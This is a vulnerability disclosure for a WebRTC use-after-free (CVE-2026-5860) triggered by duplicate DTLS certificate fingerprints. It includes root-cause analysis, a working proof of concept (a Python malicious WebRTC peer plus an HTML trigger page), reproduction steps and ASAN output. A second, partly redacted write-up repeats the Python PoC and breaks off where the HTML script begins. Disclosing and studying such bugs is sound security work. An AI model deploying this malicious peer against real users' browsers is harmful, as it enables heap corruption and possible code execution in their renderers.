Use after free in WebRTC (CVE-2026-5860)
A use-after-free in WebRTC's LegacyStatsCollector::AddCertificateReports() is triggered when a remote DTLS peer sends a certificate chain containing duplicate fingerprints. The function's ReplaceOrAddNew() deletes a StatsReport object while a raw pointer still references it, and the subsequent AddId() call writes to freed heap memory, potentially allowing renderer remote code execution.
c6eed09fc8b174b0f3eebedcceb1e792 Follow
Originally disclosed on Chrome VRP
- Fix shipped in 45 days
Use-After-Free in LegacyStatsCollector::AddCertificateReports via Duplicate DTLS Certificate Fingerprints Leads to Renderer Remote Code Execution
Summary
A use-after-free vulnerability exists in WebRTC's LegacyStatsCollector::AddCertificateReports() that allows a malicious remote WebRTC peer to achieve heap memory corruption in the renderer process. When the remote peer sends a DTLS Certificate message containing duplicate certificates (identical fingerprints), the function's internal ReplaceOrAddNew() call deletes a StatsReport object while a raw pointer (prev_report) still references it. The subsequent prev_report->AddId() call writes to freed heap memory. Because the freed 40-byte StatsReport object is immediately followed by new heap allocations from AddString() within the same function, an attacker has a realistic heap-spray window for replacing the freed region, potentially escalating from a crash to arbitrary code execution in the renderer process. No user interaction beyond visiting a page is required; the attacker only needs to complete a WebRTC connection from a malicious signaling endpoint.
Bisect
Introducing Commit: d3900296ae4416de2ea21be4548ea4adba8f3280
- Date: 2015-03-12
- Author: [email protected]
- Review: https://webrtc-codereview.appspot.com/47459004
This commit changed AddCertificateReports from using safe std::string identifiers to raw StatsReport* pointers for tracking the previously created certificate report. The vulnerability pattern was preserved through a subsequent refactor in e29352bb34de60bd0a56d4ce46c2ce35ac2b27b4 (2016-08-25, [email protected], https://codereview.webrtc.org/2259283002), which inlined the logic into a single loop using prev_report and first_report raw pointers, the form that exists in the codebase today.
Root Cause
The LegacyStatsCollector::AddCertificateReports() function iterates over a linked list of SSLCertificateStats representing a DTLS certificate chain. For each certificate, it creates a StatsReport keyed by the certificate's SHA-256 fingerprint and links consecutive reports via an issuer relationship. The function stores a raw pointer prev_report to the report created in the previous iteration.
// third_party/webrtc/pc/legacy_stats_collector.cc
StatsReport* LegacyStatsCollector::AddCertificateReports(
std::unique_ptr<SSLCertificateStats> cert_stats) {
RTC_DCHECK_RUN_ON(pc_->signaling_thread());
StatsReport* first_report = nullptr;
StatsReport* prev_report = nullptr;
for (SSLCertificateStats* stats = cert_stats.get(); stats;
stats = stats->issuer.get()) {
StatsReport::Id id(StatsReport::NewTypedId(
StatsReport::kStatsReportTypeCertificate, stats->fingerprint));
StatsReport* report = reports_.ReplaceOrAddNew(id);
report->set_timestamp(stats_gathering_started_);
report->AddString(StatsReport::kStatsValueNameFingerprint,
stats->fingerprint);
report->AddString(StatsReport::kStatsValueNameFingerprintAlgorithm,
stats->fingerprint_algorithm);
report->AddString(StatsReport::kStatsValueNameDer,
stats->base64_certificate);
if (!first_report)
first_report = report;
else
prev_report->AddId(StatsReport::kStatsValueNameIssuerId, id); // UAF
prev_report = report;
}
return first_report;
}
The critical issue is the interaction between the raw pointer prev_report and the ReplaceOrAddNew() method. When the stats collection already contains a report with a matching fingerprint ID, ReplaceOrAddNew() allocates a new StatsReport, deletes the old one, and replaces the pointer in the collection's internal list.
// third_party/webrtc/api/legacy_stats_types.cc
StatsReport* StatsCollection::ReplaceOrAddNew(const StatsReport::Id& id) {
RTC_DCHECK_RUN_ON(&thread_checker_);
RTC_DCHECK(id.get());
Container::iterator it = absl::c_find_if(
list_,
[&id](const StatsReport* r) -> bool { return r->id()->Equals(id); });
if (it != end()) {
StatsReport* report = new StatsReport((*it)->id());
delete *it; // deletes the old StatsReport
*it = report;
return report; // returns the NEW report
}
return InsertNew(id);
}
When the certificate chain contains two adjacent certificates with the same fingerprint, the following sequence occurs. In iteration 0, the first certificate with fingerprint X is inserted into the collection, and prev_report is set to point to this new StatsReport object (call it report_A at address 0x...cd0). In iteration 1, the second certificate has the same fingerprint X. The call to ReplaceOrAddNew(X) finds the existing report_A in the collection, allocates a new StatsReport (report_A' at address 0x...f10), deletes report_A, and replaces the pointer in the list. However, prev_report still holds the address of the now-freed report_A. The subsequent prev_report->AddId(...) call dereferences the freed memory, constituting a heap-use-after-free.
The remote certificate chain originates from the DTLS handshake. In OpenSSLStreamAdapter::SSLVerifyCallback(), BoringSSL's SSL_get0_peer_certificates() returns the raw certificate list exactly as sent by the remote peer, with no deduplication or validation of chain structure.
// third_party/webrtc/rtc_base/openssl_stream_adapter.cc
const STACK_OF(CRYPTO_BUFFER)* chain = SSL_get0_peer_certificates(ssl);
std::vector<std::unique_ptr<SSLCertificate>> cert_chain;
for (CRYPTO_BUFFER* cert : chain) {
cert_chain.emplace_back(new BoringSSLCertificate(bssl::UpRef(cert)));
}
stream->peer_cert_chain_.reset(new SSLCertChain(std::move(cert_chain)));
A malicious remote peer can include the same certificate multiple times in its DTLS Certificate message. The TLS specification does not prohibit this, and BoringSSL does not filter duplicates. The chain is then converted to SSLCertificateStats by SSLCertChain::GetStats(), which also performs no deduplication, and eventually reaches AddCertificateReports() through the call chain PeerConnection::Close() to legacy_stats_->UpdateStats() to ExtractSessionInfo_s().
No effective mitigations exist on this code path. The prev_report and first_report variables are raw StatsReport* pointers without raw_ptr<> (MiraclePtr) protection, as WebRTC third-party code does not use Chromium's smart pointer wrappers. The StatsCollection stores reports in a std::list<StatsReport*> with no reference counting. All guards on the path are RTC_DCHECK (debug-only, compiled out in release builds). There is no PartitionAlloc bucket isolation for WebRTC's heap allocations.
Reproduce
The PoC consists of two components: a Python malicious WebRTC peer that sends duplicate DTLS certificates, and an HTML page that connects to it and triggers the vulnerable code path. The Python dependencies can be installed with pip install aiortc aiohttp.
poc_wrtc209_server.py (malicious WebRTC peer)
#!/usr/bin/env python3
"""
Malicious WebRTC peer that sends duplicate DTLS certificates.
This server:
1. Acts as a WebRTC peer with a modified DTLS certificate chain containing
duplicate certificates (same cert as both leaf and chain cert).
2. Provides HTTP signaling endpoints for SDP exchange.
3. When the browser connects and calls close()/getStats(), the duplicate
fingerprint triggers UAF in AddCertificateReports().
"""
import asyncio
import json
import logging
import sys
from aiohttp import web
from aiortc import RTCPeerConnection, RTCSessionDescription
from aiortc.rtcdtlstransport import RTCCertificate, SRTP_PROFILES
from OpenSSL import SSL, crypto
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger("wrtc209")
class MaliciousCertificate(RTCCertificate):
"""
Modified RTCCertificate that adds the same certificate as an extra
chain cert, causing the DTLS Certificate message to contain
[leaf_cert, leaf_cert] - duplicate fingerprints.
"""
def _create_ssl_context(self, srtp_profiles):
ctx = super()._create_ssl_context(srtp_profiles)
# Convert cryptography cert to pyOpenSSL X509 for add_extra_chain_cert
x509_cert = crypto.X509.from_cryptography(self._cert)
# Add the SAME cert as an extra chain cert -> duplicate fingerprint!
ctx.add_extra_chain_cert(x509_cert)
logger.info("Added duplicate cert to chain! Fingerprint will repeat.")
return ctx
# Create malicious certificate
_base_cert = RTCCertificate.generateCertificate()
malicious_cert = MaliciousCertificate(key=_base_cert._key, cert=_base_cert._cert)
# Track active peer connections
pcs = set()
async def offer(request):
"""Handle SDP offer from browser, return answer."""
params = await request.json()
offer_sdp = RTCSessionDescription(sdp=params["sdp"], type=params["type"])
pc = RTCPeerConnection()
# Monkey-patch: replace the auto-generated certificate with our malicious one
# that sends duplicate certs in the DTLS chain
pc._RTCPeerConnection__certificates = [malicious_cert]
pcs.add(pc)
@pc.on("datachannel")
def on_datachannel(channel):
logger.info(f"Data channel '{channel.label}' opened")
@channel.on("message")
def on_message(message):
logger.info(f"Received message: {message}")
@pc.on("connectionstatechange")
async def on_connectionstatechange():
logger.info(f"Connection state: {pc.connectionState}")
if pc.connectionState == "failed":
await pc.close()
pcs.discard(pc)
await pc.setRemoteDescription(offer_sdp)
answer = await pc.createAnswer()
await pc.setLocalDescription(answer)
return web.json_response({
"sdp": pc.localDescription.sdp,
"type": pc.localDescription.type,
})
async def on_shutdown(app):
coros = [pc.close() for pc in pcs]
await asyncio.gather(*coros)
pcs.clear()
# Serve static HTML
async def index(request):
with open("poc_wrtc209_uaf.html", "r") as f:
content = f.read()
return web.Response(content_type="text/html", text=content)
app = web.Application()
app.on_shutdown.append(on_shutdown)
app.router.add_get("/", index)
app.router.add_post("/offer", offer)
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
logger.info(f"Starting malicious WebRTC server on port {port}")
logger.info(f"Certificate fingerprint: {malicious_cert.getFingerprints()[0].value}")
web.run_app(app, host="0.0.0.0", port=port)
poc_wrtc209_uaf.html (victim page, served by the Python server)
<!DOCTYPE html>
<html>
<head><title>AddCertificateReports UAF PoC</title></head>
<body>
<h2>Duplicate DTLS cert fingerprint UAF</h2>
<pre id="log"></pre>
<script>
function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
async function triggerUAF() {
log('[*] Creating RTCPeerConnection...');
const pc = new RTCPeerConnection();
pc.oniceconnectionstatechange = () => log('[*] ICE state: ' + pc.iceConnectionState);
pc.onconnectionstatechange = () => log('[*] Connection state: ' + pc.connectionState);
// Create data channel to trigger DTLS
const dc = pc.createDataChannel('poc');
dc.onopen = () => log('[+] Data channel opened');
// Create offer
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
// Wait for ICE gathering to complete
await new Promise(resolve => {
if (pc.iceGatheringState === 'complete') {
resolve();
} else {
pc.onicegatheringstatechange = () => {
if (pc.iceGatheringState === 'complete') resolve();
};
}
});
log('[*] ICE gathering complete. Sending offer to malicious server...');
// Send offer to malicious Python peer
const resp = await fetch('/offer', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
sdp: pc.localDescription.sdp,
type: pc.localDescription.type
})
});
const answer = await resp.json();
log('[*] Got answer from malicious peer. Setting remote description...');
await pc.setRemoteDescription(answer);
// Wait for DTLS connection
await new Promise(resolve => {
if (pc.connectionState === 'connected') {
resolve();
} else {
pc.onconnectionstatechange = () => {
log('[*] Connection state: ' + pc.connectionState);
if (pc.connectionState === 'connected') resolve();
if (pc.connectionState === 'failed') resolve();
};
}
});
if (pc.connectionState !== 'connected') {
log('[!] Connection failed');
return;
}
log('[+] DTLS connected to malicious peer (duplicate cert chain!)');
log('[*] Waiting 2s for stats to stabilize...');
await new Promise(r => setTimeout(r, 2000));
// Trigger UAF: close() calls legacy_stats_->UpdateStats() ->
// AddCertificateReports() with cert chain containing duplicate fingerprints
log('[*] Calling pc.close() to trigger AddCertificateReports UAF...');
pc.close();
log('[+] pc.close() called. Check ASAN output for heap-use-after-free!');
}
triggerUAF().catch(e => log('[!] Error: ' + e));
</script>
</body>
</html>
Steps to reproduce
To reproduce, first start the malicious Python WebRTC peer by running python3 poc_wrtc209_server.py 8091. Then launch Chrome built with AddressSanitizer, pointing it to the malicious server: ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome --no-sandbox --disable-gpu --enable-logging=stderr --user-data-dir=$(mktemp -d) http://localhost:8091/. The page automatically creates an RTCPeerConnection, establishes a data channel with the malicious peer (which sends a DTLS Certificate message containing the same certificate twice), waits for the DTLS connection to complete, and then calls pc.close(). The close() method unconditionally invokes legacy_stats_->UpdateStats(), which processes the remote certificate chain through AddCertificateReports(), triggering the heap-use-after-free when the duplicate fingerprint causes ReplaceOrAddNew() to delete the report that prev_report still points to.
ASAN output
==2009869==ERROR: AddressSanitizer: heap-use-after-free on address 0x7b73549e8ce8 at pc 0x7f33b9fac6f1 bp 0x7b325b33edb0 sp 0x7b325b33eda8
READ of size 8 at 0x7b73549e8ce8 thread T9 (WebRTC_Signalin)
#0 0x7f33b9fac6f0 in webrtc::StatsReport::AddId(webrtc::StatsReport::StatsValueName, webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) gen/third_party/libc++/src/include/__tree:950:54
#1 0x7f33ba365afe in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:820:20
#2 0x7f33ba3672a6 in webrtc::LegacyStatsCollector::ExtractSessionInfo_s(webrtc::LegacyStatsCollector::SessionStats&) third_party/webrtc/pc/legacy_stats_collector.cc:1070:11
#3 0x7f33ba3627e4 in webrtc::LegacyStatsCollector::ExtractSessionAndDataInfo() third_party/webrtc/pc/legacy_stats_collector.cc:965:3
#4 0x7f33ba361bb3 in webrtc::LegacyStatsCollector::UpdateStats(webrtc::PeerConnectionInterface::StatsOutputLevel) third_party/webrtc/pc/legacy_stats_collector.cc:733:7
#5 0x7f33ba1c2dc4 in webrtc::PeerConnection::Close() third_party/webrtc/pc/peer_connection.cc:1901:18
#6 0x7f33ba0bf8a9 in void absl::internal_any_invocable::LocalInvoker<false, void, webrtc::MethodCall<webrtc::PeerConnectionInterface, void>::Marshal(webrtc::Thread*)::'lambda'()&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/pc/proxy.h:94:5
#7 0x7f336b645e63 in webrtc::ThreadWrapper::RunTaskQueueTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#8 0x7f336b6487bd in base::internal::Invoker<...>::RunImpl<...>() base/functional/bind_internal.h:740:12
#9 0x7f33d3d60c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#10 0x7f33d3de216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#11 0x7f33d3de1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#12 0x7f33d3c033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#13 0x7f33d3de37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#14 0x7f33d3ccb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#15 0x7f33d3e79832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#16 0x7f33d3e79e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#17 0x7f33d3edde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#18 0x561e5dea9316 in asan_thread_start(void*) asan_interceptors.cpp
0x7b73549e8ce8 is located 24 bytes inside of 40-byte region [0x7b73549e8cd0,0x7b73549e8cf8)
freed by thread T9 (WebRTC_Signalin) here:
#0 0x561e5dee5dd2 in operator delete(void*, unsigned long) (chrome+0x6825dd2)
#1 0x7f33b9fad04f in webrtc::StatsCollection::ReplaceOrAddNew(webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) third_party/webrtc/api/legacy_stats_types.cc:837:5
#2 0x7f33ba3659cd in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:805:36
#3 0x7f33ba3672a6 in webrtc::LegacyStatsCollector::ExtractSessionInfo_s(webrtc::LegacyStatsCollector::SessionStats&) third_party/webrtc/pc/legacy_stats_collector.cc:1070:11
#4 0x7f33ba3627e4 in webrtc::LegacyStatsCollector::ExtractSessionAndDataInfo() third_party/webrtc/pc/legacy_stats_collector.cc:965:3
#5 0x7f33ba361bb3 in webrtc::LegacyStatsCollector::UpdateStats(webrtc::PeerConnectionInterface::StatsOutputLevel) third_party/webrtc/pc/legacy_stats_collector.cc:733:7
#6 0x7f33ba1c2dc4 in webrtc::PeerConnection::Close() third_party/webrtc/pc/peer_connection.cc:1901:18
#7 0x7f33ba0bf8a9 in void absl::internal_any_invocable::LocalInvoker<false, void, webrtc::MethodCall<webrtc::PeerConnectionInterface, void>::Marshal(webrtc::Thread*)::'lambda'()&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/pc/proxy.h:94:5
#8 0x7f336b645e63 in webrtc::ThreadWrapper::RunTaskQueueTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#9 0x7f336b6487bd in base::internal::Invoker<...>::RunImpl<...>() base/functional/bind_internal.h:740:12
#10 0x7f33d3d60c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#11 0x7f33d3de216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#12 0x7f33d3de1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#13 0x7f33d3c033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#14 0x7f33d3de37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#15 0x7f33d3ccb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#16 0x7f33d3e79832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#17 0x7f33d3e79e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#18 0x7f33d3edde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#19 0x561e5dea9316 in asan_thread_start(void*) asan_interceptors.cpp
previously allocated by thread T9 (WebRTC_Signalin) here:
#0 0x561e5dee51cd in operator new(unsigned long) (chrome+0x68251cd)
#1 0x7f33b9facff6 in webrtc::StatsCollection::ReplaceOrAddNew(webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) third_party/webrtc/api/legacy_stats_types.cc
#2 0x7f33ba3659cd in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:805:36
#3 0x7f33ba3672a6 in webrtc::LegacyStatsCollector::ExtractSessionInfo_s(webrtc::LegacyStatsCollector::SessionStats&) third_party/webrtc/pc/legacy_stats_collector.cc:1070:11
#4 0x7f33ba3627e4 in webrtc::LegacyStatsCollector::ExtractSessionAndDataInfo() third_party/webrtc/pc/legacy_stats_collector.cc:965:3
#5 0x7f33ba361bb3 in webrtc::LegacyStatsCollector::UpdateStats(webrtc::PeerConnectionInterface::StatsOutputLevel) third_party/webrtc/pc/legacy_stats_collector.cc:733:7
#6 0x7f33ba1c2dc4 in webrtc::PeerConnection::Close() third_party/webrtc/pc/peer_connection.cc:1901:18
#7 0x7f33ba0bf8a9 in void absl::internal_any_invocable::LocalInvoker<false, void, webrtc::MethodCall<webrtc::PeerConnectionInterface, void>::Marshal(webrtc::Thread*)::'lambda'()&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/pc/proxy.h:94:5
#8 0x7f336b645e63 in webrtc::ThreadWrapper::RunTaskQueueTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#9 0x7f336b6487bd in base::internal::Invoker<...>::RunImpl<...>() base/functional/bind_internal.h:740:12
#10 0x7f33d3d60c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#11 0x7f33d3de216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#12 0x7f33d3de1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#13 0x7f33d3c033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#14 0x7f33d3de37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#15 0x7f33d3ccb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#16 0x7f33d3e79832 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#17 0x7f33d3e79e02 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#18 0x7f33d3edde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#19 0x561e5dea9316 in asan_thread_start(void*) asan_interceptors.cpp
Thread T9 (WebRTC_Signalin) created by T0 here:
#0 0x561e5de8f0d1 in pthread_create (chrome+0x67cf0d1)
#1 0x7f33d3edd54c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x7f33d3e783b0 in base::Thread::StartWithOptions(base::Thread::Options) base/threading/thread.cc:228:26
#3 0x7f336a8a961e in blink::PeerConnectionDependencyFactory::CreatePeerConnectionFactory() third_party/blink/renderer/modules/peerconnection/peer_connection_dependency_factory.cc:431:32
#4 0x7f336a8a91ae in blink::PeerConnectionDependencyFactory::GetPcFactory() third_party/blink/renderer/modules/peerconnection/peer_connection_dependency_factory.cc:738:5
#5 0x7f336a8b1c62 in blink::PeerConnectionDependencyFactory::CreatePeerConnection(webrtc::PeerConnectionInterface::RTCConfiguration const&, blink::WebLocalFrame*, webrtc::PeerConnectionObserver*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/peer_connection_dependency_factory.cc:1006:8
#6 0x7f336a984c5e in blink::RTCPeerConnectionHandler::Initialize(blink::ExecutionContext*, webrtc::PeerConnectionInterface::RTCConfiguration const&, blink::WebLocalFrame*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection_handler.cc:898:50
#7 0x7f336a93e0d7 in blink::RTCPeerConnection::RTCPeerConnection(blink::ExecutionContext*, webrtc::PeerConnectionInterface::RTCConfiguration, bool, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:688:23
#8 0x7f336a93d548 in blink::RTCPeerConnection* blink::MakeGarbageCollected<...>(...) v8/include/cppgc/allocation.h:239:32
#9 0x7f336a93aacb in blink::RTCPeerConnection::Create(blink::ExecutionContext*, blink::RTCConfiguration const*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:611:40
Shadow bytes around the buggy address:
0x7b73549e8a00: f7 fa 00 00 00 00 00 fa f7 fa fd fd fd fd fd fd
0x7b73549e8a80: f7 fa fd fd fd fd fd fd f7 fa 00 00 00 00 00 00
0x7b73549e8b00: f7 fa 00 00 00 00 00 00 f7 fa 00 00 00 00 00 00
0x7b73549e8b80: f7 fa fd fd fd fd fd fd f7 fa fd fd fd fd fd fd
0x7b73549e8c00: f7 fa 00 00 00 00 00 00 f7 fa fd fd fd fd fd fd
=>0x7b73549e8c80: f7 fa fd fd fd fd fd fd f7 fa fd fd fd[fd]fd fa
0x7b73549e8d00: f7 fa fd fd fd fd fd fd f7 fa fd fd fd fd fd fd
0x7b73549e8d80: f7 fa fd fd fd fd fd fd f7 fa fd fd fd fd fd fd
0x7b73549e8e00: f7 fa fd fd fd fd fd fd f7 fa 00 00 00 00 00 00
0x7b73549e8e80: f7 fa fd fd fd fd fd fd f7 fa fd fd fd fd fd fd
0x7b73549e8f00: f7 fa 00 00 00 00 00 fa f7 fa fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==2009869==ABORTING
Tested on Chromium at commit f51a685e768b632262beaf8bd95387fffe096655.
Credit
c6eed09fc8b174b0f3eebedcceb1e792
Context
WebRTC keeps a set of statistics about each peer connection: ICE candidates, codecs, transport details and the certificates used in the DTLS handshake. In Chromium these are produced by LegacyStatsCollector, which builds StatsReport objects and stores them in a StatsCollection. One of its jobs, LegacyStatsCollector::AddCertificateReports(), walks the remote peer's DTLS certificate chain and creates one report per certificate, keyed by the certificate's SHA-256 fingerprint, linking each report to the next through an issuer relationship.
The certificate chain is attacker-controlled data. It arrives in the DTLS Certificate message during the handshake, and BoringSSL exposes it through SSL_get0_peer_certificates() exactly as the remote peer sent it. The TLS specification does not forbid sending the same certificate more than once, and nothing on the path deduplicates the chain. That is the input this bug abuses.
The report describes a use-after-free in AddCertificateReports() that a malicious remote WebRTC peer can trigger in the renderer process. The researcher argues it can escalate from a crash to arbitrary code execution in the renderer.
Setup
No accounts or special roles are involved. The preconditions are:
- A victim running a Chromium build that contains the vulnerable code, in this case tested at commit
[redacted]. - A malicious WebRTC peer that can complete a DTLS handshake with the victim and that sends a certificate chain containing duplicate certificates.
- A page the victim visits that opens an
RTCPeerConnectionto that peer. No further user interaction is needed beyond visiting the page.
The proof of concept has two parts: a Python peer built on aiortc and aiohttp, and an HTML page served by that peer. The Python dependencies are installed with:
pip install aiortc aiohttp
For the crash demonstration the researcher uses a Chrome build with AddressSanitizer, run as ./out/asan-release/chrome.
Finding it
The researcher traced the vulnerable pattern back through the history of the function. The introducing commit is [redacted] (2015-03-12, author [redacted], review https://webrtc-codereview.appspot.com/47459004). That commit changed AddCertificateReports from using safe std::string identifiers to raw StatsReport* pointers for tracking the previously created certificate report. A later refactor, [redacted] (2016-08-25, [redacted], https://codereview.webrtc.org/2259283002), inlined the logic into a single loop using the prev_report and first_report raw pointers, which is the form present in the codebase today.
What makes it exploitable is the interaction between that raw pointer and ReplaceOrAddNew(). The function keeps prev_report pointing at the report created in the previous iteration. If the next certificate has the same fingerprint, ReplaceOrAddNew() finds the existing report, allocates a replacement, deletes the old object and swaps the pointer in the collection. prev_report is not updated, so the following prev_report->AddId() writes into freed heap memory.
Exploitation
Step 1: build a peer that sends a duplicate certificate chain
The Python server subclasses RTCCertificate and overrides _create_ssl_context() so that the same certificate is added as an extra chain certificate. The DTLS Certificate message then contains [leaf_cert, leaf_cert], two entries with identical fingerprints.
#!/usr/bin/env python3
"""
Malicious WebRTC peer that sends duplicate DTLS certificates.
This server:
1. Acts as a WebRTC peer with a modified DTLS certificate chain containing
duplicate certificates (same cert as both leaf and chain cert).
2. Provides HTTP signaling endpoints for SDP exchange.
3. When the browser connects and calls close()/getStats(), the duplicate
fingerprint triggers UAF in AddCertificateReports().
"""
import asyncio
import json
import logging
import sys
from aiohttp import web
from aiortc import RTCPeerConnection, RTCSessionDescription
from aiortc.rtcdtlstransport import RTCCertificate, SRTP_PROFILES
from OpenSSL import SSL, crypto
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger("wrtc209")
class MaliciousCertificate(RTCCertificate):
"""
Modified RTCCertificate that adds the same certificate as an extra
chain cert, causing the DTLS Certificate message to contain
[leaf_cert, leaf_cert] - duplicate fingerprints.
"""
def _create_ssl_context(self, srtp_profiles):
ctx = super()._create_ssl_context(srtp_profiles)
# Convert cryptography cert to pyOpenSSL X509 for add_extra_chain_cert
x509_cert = crypto.X509.from_cryptography(self._cert)
# Add the SAME cert as an extra chain cert -> duplicate fingerprint!
ctx.add_extra_chain_cert(x509_cert)
logger.info("Added duplicate cert to chain! Fingerprint will repeat.")
return ctx
# Create malicious certificate
_base_cert = RTCCertificate.generateCertificate()
malicious_cert = MaliciousCertificate(key=_base_cert._key, cert=_base_cert._cert)
# Track active peer connections
pcs = set()
async def offer(request):
"""Handle SDP offer from browser, return answer."""
params = await request.json()
offer_sdp = RTCSessionDescription(sdp=params["sdp"], type=params["type"])
pc = RTCPeerConnection()
# Monkey-patch: replace the auto-generated certificate with our malicious one
# that sends duplicate certs in the DTLS chain
pc._RTCPeerConnection__certificates = [malicious_cert]
pcs.add(pc)
@pc.on("datachannel")
def on_datachannel(channel):
logger.info(f"Data channel '{channel.label}' opened")
@channel.on("message")
def on_message(message):
logger.info(f"Received message: {message}")
@pc.on("connectionstatechange")
async def on_connectionstatechange():
logger.info(f"Connection state: {pc.connectionState}")
if pc.connectionState == "failed":
await pc.close()
pcs.discard(pc)
await pc.setRemoteDescription(offer_sdp)
answer = await pc.createAnswer()
await pc.setLocalDescription(answer)
return web.json_response({
"sdp": pc.localDescription.sdp,
"type": pc.localDescription.type,
})
async def on_shutdown(app):
coros = [pc.close() for pc in pcs]
await asyncio.gather(*coros)
pcs.clear()
# Serve static HTML
async def index(request):
with open("poc_wrtc209_uaf.html", "r") as f:
content = f.read()
return web.Response(content_type="text/html", text=content)
app = web.Application()
app.on_shutdown.append(on_shutdown)
app.router.add_get("/", index)
app.router.add_post("/offer", offer)
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
logger.info(f"Starting malicious WebRTC server on port {port}")
logger.info(f"Certificate fingerprint: {malicious_cert.getFingerprints()[0].value}")
web.run_app(app, host="[redacted]", port=port)
The server exposes two routes: GET / serves the victim page, and POST /offer accepts the browser's SDP offer, creates an RTCPeerConnection, swaps in the malicious certificate, and returns the SDP answer as JSON. A data channel is used only to make the browser establish DTLS.
Step 2: serve a page that connects and then closes the connection
The HTML page creates an RTCPeerConnection, opens a data channel, gathers ICE candidates, posts the offer to /offer, applies the answer, waits for the connection to reach connected, waits two seconds for stats to stabilise, and then calls pc.close().
<!DOCTYPE html>
<html>
<head><title>AddCertificateReports UAF PoC</title></head>
<body>
<h2>Duplicate DTLS cert fingerprint UAF</h2>
<pre id="log"></pre>
<script>
